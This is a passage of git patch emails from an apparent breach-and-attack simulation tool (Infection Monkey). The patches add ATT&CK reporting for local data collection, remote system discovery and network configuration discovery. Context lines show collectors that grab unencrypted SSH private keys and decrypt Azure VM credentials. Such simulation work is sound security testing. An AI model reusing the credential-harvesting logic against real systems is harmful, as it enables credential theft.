{'_id': {'machine': '$machine', 'status': '$status', 'command': '$command'}}}, + {'$group': {'_id': {'machine': '$data.machine', 'status': '$data.status', 'command': '$data.command'}}}, {"$replaceRoot": {"newRoot": "$_id"}}] @staticmethod diff --git a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1222.js b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1222.js index 3f3902343..e3ab74c2c 100644 --- a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1222.js +++ b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1222.js @@ -1,7 +1,7 @@ import React from 'react'; import '../../../styles/Collapse.scss' import ReactTable from "react-table"; -import { renderMachineFromSystemData, scanStatus } from "./Helpers" +import { renderMachine, scanStatus } from "./Helpers" class T1222 extends React.Component { @@ -14,7 +14,7 @@ class T1222 extends React.Component { return ([{ Header: "Permission modification commands", columns: [ - {Header: 'Machine', id: 'machine', accessor: x => renderMachineFromSystemData(x.machine), style: { 'whiteSpace': 'unset' }}, + {Header: 'Machine', id: 'machine', accessor: x => renderMachine(x.machine), style: { 'whiteSpace': 'unset' }}, {Header: 'Command', id: 'command', accessor: x => x.command, style: { 'whiteSpace': 'unset' }}, ] }])}; From ab461ef8d395735be2dedfb19f7a1bd41382dcf9 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Thu, 18 Jul 2019 09:47:31 +0300 Subject: [PATCH 24/43] Implemented data collection from local system attack technique --- .../system_info/SSH_info_collector.py | 4 ++ .../system_info/azure_cred_collector.py | 5 +++ .../telemetry/attack/t1005_telem.py | 22 +++++++++++ .../cc/services/attack/attack_report.py | 5 ++- .../cc/services/attack/attack_schema.py | 14 +++++++ .../attack/technique_reports/T1005.py | 34 +++++++++++++++++ .../cc/services/config_schema.py | 2 +- .../src/components/attack/techniques/T1005.js | 38 +++++++++++++++++++ .../report-components/AttackReport.js | 4 +- 9 files changed, 124 insertions(+), 4 deletions(-) create mode 100644 monkey/infection_monkey/telemetry/attack/t1005_telem.py create mode 100644 monkey/monkey_island/cc/services/attack/technique_reports/T1005.py create mode 100644 monkey/monkey_island/cc/ui/src/components/attack/techniques/T1005.js diff --git a/monkey/infection_monkey/system_info/SSH_info_collector.py b/monkey/infection_monkey/system_info/SSH_info_collector.py index af1915e4d..60c509fc6 100644 --- a/monkey/infection_monkey/system_info/SSH_info_collector.py +++ b/monkey/infection_monkey/system_info/SSH_info_collector.py @@ -3,6 +3,9 @@ import pwd import os import glob +from common.utils.attack_utils import ScanStatus +from infection_monkey.telemetry.attack.t1005_telem import T1005Telem + __author__ = 'VakarisZ' LOG = logging.getLogger(__name__) @@ -71,6 +74,7 @@ class SSHCollector(object): if private_key.find('ENCRYPTED') == -1: info['private_key'] = private_key LOG.info("Found private key in %s" % private) + T1005Telem(ScanStatus.USED, 'SSH key', "Path: %s" % private).send() else: continue except (IOError, OSError): diff --git a/monkey/infection_monkey/system_info/azure_cred_collector.py b/monkey/infection_monkey/system_info/azure_cred_collector.py index 3b1127e44..80d9f064f 100644 --- a/monkey/infection_monkey/system_info/azure_cred_collector.py +++ b/monkey/infection_monkey/system_info/azure_cred_collector.py @@ -5,6 +5,9 @@ import json import glob import subprocess +from common.utils.attack_utils import ScanStatus +from infection_monkey.telemetry.attack.t1005_telem import T1005Telem + __author__ = 'danielg' LOG = logging.getLogger(__name__) @@ -54,6 +57,7 @@ class AzureCollector(object): decrypt_proc = subprocess.Popen(decrypt_command.split(), stdout=subprocess.PIPE, stdin=subprocess.PIPE) decrypt_raw = decrypt_proc.communicate(input=b64_result)[0] decrypt_data = json.loads(decrypt_raw) + T1005Telem(ScanStatus.USED, 'Azure credentials', "Path: %s" % filepath).send() return decrypt_data['username'], decrypt_data['password'] except IOError: LOG.warning("Failed to parse VM Access plugin file. Could not open file") @@ -92,6 +96,7 @@ class AzureCollector(object): # this is disgusting but the alternative is writing the file to disk... password_raw = ps_out.split('\n')[-2].split(">")[1].split("$utf8content")[1] password = json.loads(password_raw)["Password"] + T1005Telem(ScanStatus.USED, 'Azure credentials', "Path: %s" % filepath).send() return username, password except IOError: LOG.warning("Failed to parse VM Access plugin file. Could not open file") diff --git a/monkey/infection_monkey/telemetry/attack/t1005_telem.py b/monkey/infection_monkey/telemetry/attack/t1005_telem.py new file mode 100644 index 000000000..228ccb67c --- /dev/null +++ b/monkey/infection_monkey/telemetry/attack/t1005_telem.py @@ -0,0 +1,22 @@ +from infection_monkey.telemetry.attack.attack_telem import AttackTelem + + +class T1005Telem(AttackTelem): + def __init__(self, status, _type, info=""): + """ + T1005 telemetry. + :param status: ScanStatus of technique + :param _type: Type of data collected + :param info: Additional info about data + """ + super(T1005Telem, self).__init__('T1005', status) + self._type = _type + self.info = info + + def get_data(self): + data = super(T1005Telem, self).get_data() + data.update({ + 'type': self._type, + 'info': self.info + }) + return data diff --git a/monkey/monkey_island/cc/services/attack/attack_report.py b/monkey/monkey_island/cc/services/attack/attack_report.py index fab00c213..0cf15051c 100644 --- a/monkey/monkey_island/cc/services/attack/attack_report.py +++ b/monkey/monkey_island/cc/services/attack/attack_report.py @@ -3,7 +3,7 @@ import logging from monkey_island.cc.models import Monkey from monkey_island.cc.services.attack.technique_reports import T1210, T1197, T1110, T1075, T1003, T1059, T1086, T1082 from monkey_island.cc.services.attack.technique_reports import T1145, T1105, T1065, T1035, T1129, T1106, T1107, T1188 -from monkey_island.cc.services.attack.technique_reports import T1090, T1041, T1222 +from monkey_island.cc.services.attack.technique_reports import T1090, T1041, T1222, T1005 from monkey_island.cc.services.attack.attack_config import AttackConfig from monkey_island.cc.database import mongo @@ -30,7 +30,8 @@ TECHNIQUES = {'T1210': T1210.T1210, 'T1188': T1188.T1188, 'T1090': T1090.T1090, 'T1041': T1041.T1041, - 'T1222': T1222.T1222} + 'T1222': T1222.T1222, + 'T1005': T1005.T1005} REPORT_NAME = 'new_report' diff --git a/monkey/monkey_island/cc/services/attack/attack_schema.py b/monkey/monkey_island/cc/services/attack/attack_schema.py index caa058df4..f86d4ed02 100644 --- a/monkey/monkey_island/cc/services/attack/attack_schema.py +++ b/monkey/monkey_island/cc/services/attack/attack_schema.py @@ -182,6 +182,20 @@ SCHEMA = { } } }, + "collection": { + "title": "Collection", + "type": "object", + "properties": { + "T1005": { + "title": "T1005 Data from local system", + "type": "bool", + "value": True, + "necessary": False, + "description": "Sensitive data can be collected from local system sources, such as the file system " + "or databases of information residing on the system prior to Exfiltration." + } + } + }, "command_and_control": { "title": "Command and Control", "type": "object", diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1005.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1005.py new file mode 100644 index 000000000..06f408784 --- /dev/null +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1005.py @@ -0,0 +1,34 @@ +from monkey_island.cc.services.attack.technique_reports import AttackTechnique +from monkey_island.cc.database import mongo + +__author__ = "VakarisZ" + + +class T1005(AttackTechnique): + + tech_id = "T1005" + unscanned_msg = "Monkey didn't gather any sensitive data from local system." + scanned_msg = "" + used_msg = "Monkey successfully gathered sensitive data from local system." + + query = [{'$match': {'telem_category': 'attack', + 'data.technique': tech_id}}, + {'$lookup': {'from': 'monkey', + 'localField': 'monkey_guid', + 'foreignField': 'guid', + 'as': 'monkey'}}, + {'$project': {'monkey': {'$arrayElemAt': ['$monkey', 0]}, + 'status': '$data.status', + 'type': '$data.type', + 'info': '$data.info'}}, + {'$addFields': {'_id': 0, + 'machine': {'hostname': '$monkey.hostname', 'ips': '$monkey.ip_addresses'}, + 'monkey': 0}}, + {'$group': {'_id': {'machine': '$machine', 'type': '$type', 'info': '$info'}}}, + {"$replaceRoot": {"newRoot": "$_id"}}] + + @staticmethod + def get_report_data(): + data = T1005.get_tech_base_data() + data.update({'collected_data': list(mongo.db.telemetry.aggregate(T1005.query))}) + return data diff --git a/monkey/monkey_island/cc/services/config_schema.py b/monkey/monkey_island/cc/services/config_schema.py index 07596cf51..72a70812c 100644 --- a/monkey/monkey_island/cc/services/config_schema.py +++ b/monkey/monkey_island/cc/services/config_schema.py @@ -422,7 +422,7 @@ SCHEMA = { "title": "Collect system info", "type": "boolean", "default": True, - "attack_techniques": ["T1082"], + "attack_techniques": ["T1082", "T1005"], "description": "Determines whether to collect system info" }, "should_use_mimikatz": { diff --git a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1005.js b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1005.js new file mode 100644 index 000000000..6746d16ed --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1005.js @@ -0,0 +1,38 @@ +import React from 'react'; +import '../../../styles/Collapse.scss' +import ReactTable from "react-table"; +import {renderMachineFromSystemData, scanStatus} from "./Helpers"; + +class T1005 extends React.Component { + + constructor(props) { + super(props); + } + + static getDataColumns() { + return ([{ + Header: "Data gathered from local systems", + columns: [ + {Header: 'Machine', id: 'machine', accessor: x => renderMachineFromSystemData(x.machine), style: { 'whiteSpace': 'unset' }}, + {Header: 'Type', id: 'type', accessor: x => x.type, style: { 'whiteSpace': 'unset' }}, + {Header: 'Info', id: 'info', accessor: x => x.info, style: { 'whiteSpace': 'unset' }}, + ]}])}; + + render() { + return ( +
+
{this.props.data.message}
+
+ {this.props.data.status === scanStatus.USED ? + : ""} +
+ ); + } +} + +export default T1005; diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/AttackReport.js b/monkey/monkey_island/cc/ui/src/components/report-components/AttackReport.js index 0aed990d8..3e1fe9501 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/AttackReport.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/AttackReport.js @@ -25,6 +25,7 @@ import T1188 from "../attack/techniques/T1188"; import T1090 from "../attack/techniques/T1090"; import T1041 from "../attack/techniques/T1041"; import T1222 from "../attack/techniques/T1222"; +import T1005 from "../attack/techniques/T1005"; const tech_components = { 'T1210': T1210, @@ -45,7 +46,8 @@ const tech_components = { 'T1188': T1188, 'T1090': T1090, 'T1041': T1041, - 'T1222': T1222 + 'T1222': T1222, + 'T1005': T1005 }; const classNames = require('classnames'); From 0202215aaf1466d29c9c5967e3ea871651a5308b Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Thu, 18 Jul 2019 18:13:27 +0300 Subject: [PATCH 25/43] Implemented network system discovery attack technique --- .../cc/services/attack/attack_report.py | 5 +- .../cc/services/attack/attack_schema.py | 8 ++++ .../attack/technique_reports/T1018.py | 39 +++++++++++++++ .../src/components/attack/techniques/T1018.js | 48 +++++++++++++++++++ .../report-components/AttackReport.js | 4 +- 5 files changed, 101 insertions(+), 3 deletions(-) create mode 100644 monkey/monkey_island/cc/services/attack/technique_reports/T1018.py create mode 100644 monkey/monkey_island/cc/ui/src/components/attack/techniques/T1018.js diff --git a/monkey/monkey_island/cc/services/attack/attack_report.py b/monkey/monkey_island/cc/services/attack/attack_report.py index 0cf15051c..a3a317336 100644 --- a/monkey/monkey_island/cc/services/attack/attack_report.py +++ b/monkey/monkey_island/cc/services/attack/attack_report.py @@ -3,7 +3,7 @@ import logging from monkey_island.cc.models import Monkey from monkey_island.cc.services.attack.technique_reports import T1210, T1197, T1110, T1075, T1003, T1059, T1086, T1082 from monkey_island.cc.services.attack.technique_reports import T1145, T1105, T1065, T1035, T1129, T1106, T1107, T1188 -from monkey_island.cc.services.attack.technique_reports import T1090, T1041, T1222, T1005 +from monkey_island.cc.services.attack.technique_reports import T1090, T1041, T1222, T1005, T1018 from monkey_island.cc.services.attack.attack_config import AttackConfig from monkey_island.cc.database import mongo @@ -31,7 +31,8 @@ TECHNIQUES = {'T1210': T1210.T1210, 'T1090': T1090.T1090, 'T1041': T1041.T1041, 'T1222': T1222.T1222, - 'T1005': T1005.T1005} + 'T1005': T1005.T1005, + 'T1018': T1018.T1018} REPORT_NAME = 'new_report' diff --git a/monkey/monkey_island/cc/services/attack/attack_schema.py b/monkey/monkey_island/cc/services/attack/attack_schema.py index f86d4ed02..b5d5df1a3 100644 --- a/monkey/monkey_island/cc/services/attack/attack_schema.py +++ b/monkey/monkey_island/cc/services/attack/attack_schema.py @@ -179,6 +179,14 @@ SCHEMA = { "description": "An adversary may attempt to get detailed information about the " "operating system and hardware, including version, patches, hotfixes, " "service packs, and architecture." + }, + "T1018": { + "title": "T1018 Remote System Discovery", + "type": "bool", + "value": True, + "necessary": True, + "description": "Adversaries will likely attempt to get a listing of other systems by IP address, " + "hostname, or other logical identifier on a network for lateral movement." } } }, diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1018.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1018.py new file mode 100644 index 000000000..a955f6cc9 --- /dev/null +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1018.py @@ -0,0 +1,39 @@ +from common.utils.attack_utils import ScanStatus +from monkey_island.cc.services.attack.technique_reports import AttackTechnique +from monkey_island.cc.database import mongo + +__author__ = "VakarisZ" + + +class T1018(AttackTechnique): + + tech_id = "T1018" + unscanned_msg = "Monkey didn't find any machines on the network." + scanned_msg = "" + used_msg = "Monkey found machines on the network." + + query = [{'$match': {'telem_category': 'scan'}}, + {'$sort': {'timestamp': 1}}, + {'$group': {'_id': {'monkey_guid': '$monkey_guid'}, + 'machines': {'$addToSet': '$data.machine'}, + 'started': {'$first': '$timestamp'}, + 'finished': {'$last': '$timestamp'}}}, + {'$lookup': {'from': 'monkey', + 'localField': '_id.monkey_guid', + 'foreignField': 'guid', + 'as': 'monkey_tmp'}}, + {'$addFields': {'_id': 0, 'monkey_tmp': {'$arrayElemAt': ['$monkey_tmp', 0]}}}, + {'$addFields': {'monkey': {'hostname': '$monkey_tmp.hostname', + 'ips': '$monkey_tmp.ip_addresses'}, + 'monkey_tmp': 0}}] + + @staticmethod + def get_report_data(): + scan_info = list(mongo.db.telemetry.aggregate(T1018.query)) + if scan_info: + status = ScanStatus.USED.value + else: + status = ScanStatus.UNSCANNED.value + data = T1018.get_base_data_by_status(status) + data.update({'scan_info': scan_info}) + return data diff --git a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1018.js b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1018.js new file mode 100644 index 000000000..6a903244e --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1018.js @@ -0,0 +1,48 @@ +import React from 'react'; +import '../../../styles/Collapse.scss' +import ReactTable from "react-table"; +import { renderMachineFromSystemData, renderMachine, scanStatus } from "./Helpers" + + +class T1018 extends React.Component { + + constructor(props) { + super(props); + } + + static renderMachines(machines){ + let output = []; + machines.forEach(function(machine){ + output.push(renderMachine(machine)) + }); + return (
{output}
); + } + + static getScanInfoColumns() { + return ([{ + columns: [ + {Header: 'Machine', id: 'machine', accessor: x => renderMachineFromSystemData(x.monkey), style: { 'whiteSpace': 'unset' }}, + {Header: 'Started', id: 'started', accessor: x => x.started, style: { 'whiteSpace': 'unset' }}, + {Header: 'Finished', id: 'finished', accessor: x => x.finished, style: { 'whiteSpace': 'unset' }}, + {Header: 'Systems found', id: 'systems', accessor: x => T1018.renderMachines(x.machines), style: { 'whiteSpace': 'unset' }}, + ] + }])}; + + render() { + return ( +
+
{this.props.data.message}
+
+ {this.props.data.status === scanStatus.USED ? + : ""} +
+ ); + } +} + +export default T1018; diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/AttackReport.js b/monkey/monkey_island/cc/ui/src/components/report-components/AttackReport.js index 3e1fe9501..a65ee9d1c 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/AttackReport.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/AttackReport.js @@ -26,6 +26,7 @@ import T1090 from "../attack/techniques/T1090"; import T1041 from "../attack/techniques/T1041"; import T1222 from "../attack/techniques/T1222"; import T1005 from "../attack/techniques/T1005"; +import T1018 from "../attack/techniques/T1018"; const tech_components = { 'T1210': T1210, @@ -47,7 +48,8 @@ const tech_components = { 'T1090': T1090, 'T1041': T1041, 'T1222': T1222, - 'T1005': T1005 + 'T1005': T1005, + 'T1018': T1018 }; const classNames = require('classnames'); From 7b8fa541f5823a88a7e503253635b56d924d55a5 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Fri, 19 Jul 2019 13:02:03 +0300 Subject: [PATCH 26/43] Implemented system's network configuration discovery attack technique --- .../cc/services/attack/attack_report.py | 5 ++- .../cc/services/attack/attack_schema.py | 12 ++++++ .../attack/technique_reports/T1016.py | 38 ++++++++++++++++++ .../cc/services/config_schema.py | 2 +- .../components/attack/techniques/Helpers.js | 13 +++++++ .../src/components/attack/techniques/T1016.js | 39 +++++++++++++++++++ .../src/components/attack/techniques/T1082.js | 14 +------ .../report-components/AttackReport.js | 4 +- 8 files changed, 111 insertions(+), 16 deletions(-) create mode 100644 monkey/monkey_island/cc/services/attack/technique_reports/T1016.py create mode 100644 monkey/monkey_island/cc/ui/src/components/attack/techniques/T1016.js diff --git a/monkey/monkey_island/cc/services/attack/attack_report.py b/monkey/monkey_island/cc/services/attack/attack_report.py index a3a317336..a03e6a512 100644 --- a/monkey/monkey_island/cc/services/attack/attack_report.py +++ b/monkey/monkey_island/cc/services/attack/attack_report.py @@ -3,7 +3,7 @@ import logging from monkey_island.cc.models import Monkey from monkey_island.cc.services.attack.technique_reports import T1210, T1197, T1110, T1075, T1003, T1059, T1086, T1082 from monkey_island.cc.services.attack.technique_reports import T1145, T1105, T1065, T1035, T1129, T1106, T1107, T1188 -from monkey_island.cc.services.attack.technique_reports import T1090, T1041, T1222, T1005, T1018 +from monkey_island.cc.services.attack.technique_reports import T1090, T1041, T1222, T1005, T1018, T1016 from monkey_island.cc.services.attack.attack_config import AttackConfig from monkey_island.cc.database import mongo @@ -32,7 +32,8 @@ TECHNIQUES = {'T1210': T1210.T1210, 'T1041': T1041.T1041, 'T1222': T1222.T1222, 'T1005': T1005.T1005, - 'T1018': T1018.T1018} + 'T1018': T1018.T1018, + 'T1016': T1016.T1016} REPORT_NAME = 'new_report' diff --git a/monkey/monkey_island/cc/services/attack/attack_schema.py b/monkey/monkey_island/cc/services/attack/attack_schema.py index b5d5df1a3..9d396dc26 100644 --- a/monkey/monkey_island/cc/services/attack/attack_schema.py +++ b/monkey/monkey_island/cc/services/attack/attack_schema.py @@ -176,6 +176,7 @@ SCHEMA = { "type": "bool", "value": True, "necessary": False, + "depends_on": ["T1016", "T1005"], "description": "An adversary may attempt to get detailed information about the " "operating system and hardware, including version, patches, hotfixes, " "service packs, and architecture." @@ -187,6 +188,16 @@ SCHEMA = { "necessary": True, "description": "Adversaries will likely attempt to get a listing of other systems by IP address, " "hostname, or other logical identifier on a network for lateral movement." + }, + "T1016": { + "title": "T1016 System network configuration discovery", + "type": "bool", + "value": True, + "necessary": False, + "depends_on": ["T1005", "T1082"], + "description": "Adversaries will likely look for details about the network configuration " + "and settings of systems they access or through information discovery" + " of remote systems." } } }, @@ -199,6 +210,7 @@ SCHEMA = { "type": "bool", "value": True, "necessary": False, + "depends_on": ["T1016", "T1082"], "description": "Sensitive data can be collected from local system sources, such as the file system " "or databases of information residing on the system prior to Exfiltration." } diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1016.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1016.py new file mode 100644 index 000000000..4525fd035 --- /dev/null +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1016.py @@ -0,0 +1,38 @@ +from common.utils.attack_utils import ScanStatus +from monkey_island.cc.services.attack.technique_reports import AttackTechnique +from monkey_island.cc.database import mongo + +__author__ = "VakarisZ" + + +class T1016(AttackTechnique): + + tech_id = "T1016" + unscanned_msg = "Monkey didn't gather network configurations." + scanned_msg = "" + used_msg = "Monkey gathered network configurations on systems in the network." + + query = [{'$match': {'telem_category': 'system_info'}}, + {'$project': {'machine': {'hostname': '$data.hostname', 'ips': '$data.network_info.networks'}, + 'networks': '$data.network_info.networks', + 'netstat': '$data.network_info.netstat'}}, + {'$addFields': {'_id': 0, + 'netstat': 0, + 'networks': 0, + 'info': [ + {'used': {'$and': [{'$ifNull': ['$netstat', False]}, {'$gt': ['$netstat', {}]}]}, + 'name': {'$literal': 'Network connections (via netstat command)'}}, + {'used': {'$and': [{'$ifNull': ['$networks', False]}, {'$gt': ['$networks', {}]}]}, + 'name': {'$literal': 'Network interface info'}}, + ]}}] + + @staticmethod + def get_report_data(): + network_info = list(mongo.db.telemetry.aggregate(T1016.query)) + if network_info: + status = ScanStatus.USED.value + else: + status = ScanStatus.UNSCANNED.value + data = T1016.get_base_data_by_status(status) + data.update({'network_info': network_info}) + return data diff --git a/monkey/monkey_island/cc/services/config_schema.py b/monkey/monkey_island/cc/services/config_schema.py index 72a70812c..ea538c945 100644 --- a/monkey/monkey_island/cc/services/config_schema.py +++ b/monkey/monkey_island/cc/services/config_schema.py @@ -422,7 +422,7 @@ SCHEMA = { "title": "Collect system info", "type": "boolean", "default": True, - "attack_techniques": ["T1082", "T1005"], + "attack_techniques": ["T1082", "T1005", "T1016"], "description": "Determines whether to collect system info" }, "should_use_mimikatz": { diff --git a/monkey/monkey_island/cc/ui/src/components/attack/techniques/Helpers.js b/monkey/monkey_island/cc/ui/src/components/attack/techniques/Helpers.js index adc0d2583..fd11e3cbc 100644 --- a/monkey/monkey_island/cc/ui/src/components/attack/techniques/Helpers.js +++ b/monkey/monkey_island/cc/ui/src/components/attack/techniques/Helpers.js @@ -36,6 +36,19 @@ export function getUsageColumns() { style: { 'whiteSpace': 'unset' }}] }])} +/* Renders fields that contains 'used' boolean value and 'name' string value. +'Used' value determines if 'name' value will be shown. + */ +export function renderCollections(info){ + let output = []; + info.forEach(function(collection){ + if(collection['used']){ + output.push(
{collection['name']}
) + } + }); + return (
{output}
); + } + export const scanStatus = { UNSCANNED: 0, SCANNED: 1, diff --git a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1016.js b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1016.js new file mode 100644 index 000000000..934b75692 --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1016.js @@ -0,0 +1,39 @@ +import React from 'react'; +import '../../../styles/Collapse.scss' +import ReactTable from "react-table"; +import { renderMachineFromSystemData, renderCollections, scanStatus } from "./Helpers" + + +class T1016 extends React.Component { + + constructor(props) { + super(props); + } + + static getNetworkInfoColumns() { + return ([{ + Header: "Network configuration info gathered", + columns: [ + {Header: 'Machine', id: 'machine', accessor: x => renderMachineFromSystemData(x.machine), style: { 'whiteSpace': 'unset' }}, + {Header: 'Network info', id: 'info', accessor: x => renderCollections(x.info), style: { 'whiteSpace': 'unset' }}, + ] + }])}; + + render() { + return ( +
+
{this.props.data.message}
+
+ {this.props.data.status === scanStatus.USED ? + : ""} +
+ ); + } +} + +export default T1016; diff --git a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1082.js b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1082.js index c6df37f4f..37c312e76 100644 --- a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1082.js +++ b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1082.js @@ -1,7 +1,7 @@ import React from 'react'; import '../../../styles/Collapse.scss' import ReactTable from "react-table"; -import { renderMachineFromSystemData, scanStatus } from "./Helpers" +import { renderMachineFromSystemData, renderCollections, scanStatus } from "./Helpers" class T1082 extends React.Component { @@ -10,21 +10,11 @@ class T1082 extends React.Component { super(props); } - static renderCollections(collections){ - let output = []; - collections.forEach(function(collection){ - if(collection['used']){ - output.push(
{collection['name']}
) - } - }); - return (
{output}
); - } - static getSystemInfoColumns() { return ([{ columns: [ {Header: 'Machine', id: 'machine', accessor: x => renderMachineFromSystemData(x.machine), style: { 'whiteSpace': 'unset' }}, - {Header: 'Gathered info', id: 'info', accessor: x => T1082.renderCollections(x.collections), style: { 'whiteSpace': 'unset' }}, + {Header: 'Gathered info', id: 'info', accessor: x => renderCollections(x.collections), style: { 'whiteSpace': 'unset' }}, ] }])}; diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/AttackReport.js b/monkey/monkey_island/cc/ui/src/components/report-components/AttackReport.js index a65ee9d1c..3d565c3a0 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/AttackReport.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/AttackReport.js @@ -27,6 +27,7 @@ import T1041 from "../attack/techniques/T1041"; import T1222 from "../attack/techniques/T1222"; import T1005 from "../attack/techniques/T1005"; import T1018 from "../attack/techniques/T1018"; +import T1016 from "../attack/techniques/T1016"; const tech_components = { 'T1210': T1210, @@ -49,7 +50,8 @@ const tech_components = { 'T1041': T1041, 'T1222': T1222, 'T1005': T1005, - 'T1018': T1018 + 'T1018': T1018, + 'T1016': T1016 }; const classNames = require('classnames'); From 32e930559d02412e353f0a257081bb0704106c1a Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Thu, 1 Aug 2019 10:09:40 +0300 Subject: [PATCH 27/43] Improved docs of "parse_usages" method --- .../cc/services/attack/technique_reports/__init__.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/__init__.py b/monkey/monkey_island/cc/services/attack/technique_reports/__init__.py index 9b0c23d50..30c73f609 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/__init__.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/__init__.py @@ -124,8 +124,8 @@ class UsageTechnique(AttackTechnique): def parse_usages(usage): """ Parses data from database and translates usage enums into strings - :param usage: - :return: + :param usage: Usage telemetry that contains fields: {'usage': 'SMB', 'status': 1} + :return: usage string """ try: usage['usage'] = UsageEnum[usage['usage']].value[usage['status']] From 7470427feb36cda0ab1e6185b46800e0abdcbcef Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Thu, 1 Aug 2019 14:26:01 +0300 Subject: [PATCH 28/43] Changed UsageTelemetry calls to no longer require .name when specifying usage enum --- monkey/infection_monkey/exploit/smbexec.py | 2 +- monkey/infection_monkey/system_info/mimikatz_collector.py | 2 +- monkey/infection_monkey/telemetry/attack/t1035_telem.py | 2 +- monkey/infection_monkey/telemetry/attack/t1129_telem.py | 2 +- monkey/infection_monkey/telemetry/attack/usage_telem.py | 4 ++-- 5 files changed, 6 insertions(+), 6 deletions(-) diff --git a/monkey/infection_monkey/exploit/smbexec.py b/monkey/infection_monkey/exploit/smbexec.py index 9d96b355b..a8ec2a78c 100644 --- a/monkey/infection_monkey/exploit/smbexec.py +++ b/monkey/infection_monkey/exploit/smbexec.py @@ -137,7 +137,7 @@ class SmbExploiter(HostExploiter): except: status = ScanStatus.SCANNED pass - T1035Telem(status, UsageEnum.SMB.name).send() + T1035Telem(status, UsageEnum.SMB).send() scmr.hRDeleteService(scmr_rpc, service) scmr.hRCloseServiceHandle(scmr_rpc, service) diff --git a/monkey/infection_monkey/system_info/mimikatz_collector.py b/monkey/infection_monkey/system_info/mimikatz_collector.py index 47fa0d431..0ad0d692f 100644 --- a/monkey/infection_monkey/system_info/mimikatz_collector.py +++ b/monkey/infection_monkey/system_info/mimikatz_collector.py @@ -54,7 +54,7 @@ class MimikatzCollector(object): except Exception: LOG.exception("Error initializing mimikatz collector") status = ScanStatus.SCANNED - T1129Telem(status, UsageEnum.MIMIKATZ.name).send() + T1129Telem(status, UsageEnum.MIMIKATZ).send() def get_logon_info(self): """ diff --git a/monkey/infection_monkey/telemetry/attack/t1035_telem.py b/monkey/infection_monkey/telemetry/attack/t1035_telem.py index 13d0bcc59..4ca9dc93c 100644 --- a/monkey/infection_monkey/telemetry/attack/t1035_telem.py +++ b/monkey/infection_monkey/telemetry/attack/t1035_telem.py @@ -6,6 +6,6 @@ class T1035Telem(UsageTelem): """ T1035 telemetry. :param status: ScanStatus of technique - :param usage: Enum name of UsageEnum + :param usage: Enum of UsageEnum type """ super(T1035Telem, self).__init__('T1035', status, usage) diff --git a/monkey/infection_monkey/telemetry/attack/t1129_telem.py b/monkey/infection_monkey/telemetry/attack/t1129_telem.py index a04834959..4e7a12ce8 100644 --- a/monkey/infection_monkey/telemetry/attack/t1129_telem.py +++ b/monkey/infection_monkey/telemetry/attack/t1129_telem.py @@ -6,6 +6,6 @@ class T1129Telem(UsageTelem): """ T1129 telemetry. :param status: ScanStatus of technique - :param usage: Enum name of UsageEnum + :param usage: Enum of UsageEnum type """ super(T1129Telem, self).__init__("T1129", status, usage) diff --git a/monkey/infection_monkey/telemetry/attack/usage_telem.py b/monkey/infection_monkey/telemetry/attack/usage_telem.py index d493c64d8..4b47d8be3 100644 --- a/monkey/infection_monkey/telemetry/attack/usage_telem.py +++ b/monkey/infection_monkey/telemetry/attack/usage_telem.py @@ -7,10 +7,10 @@ class UsageTelem(AttackTelem): """ :param technique: Id of technique :param status: ScanStatus of technique - :param usage: Enum name of UsageEnum + :param usage: Enum of UsageEnum type """ super(UsageTelem, self).__init__(technique, status) - self.usage = usage + self.usage = usage.name def get_data(self): data = super(UsageTelem, self).get_data() From f01febfb5df111158423d55816dea28dda97794d Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Thu, 1 Aug 2019 14:52:27 +0300 Subject: [PATCH 29/43] Fixed code duplication in T1105 sending and typo in report header --- monkey/infection_monkey/exploit/sshexec.py | 17 +++++++++-------- .../post_breach/actions/users_custom_pba.py | 17 +++++++++++------ .../src/components/attack/techniques/T1105.js | 2 +- 3 files changed, 21 insertions(+), 15 deletions(-) diff --git a/monkey/infection_monkey/exploit/sshexec.py b/monkey/infection_monkey/exploit/sshexec.py index 2c56471a4..78e51f875 100644 --- a/monkey/infection_monkey/exploit/sshexec.py +++ b/monkey/infection_monkey/exploit/sshexec.py @@ -164,19 +164,20 @@ class SSHExploiter(HostExploiter): ftp.putfo(file_obj, self._config.dropper_target_path_linux, 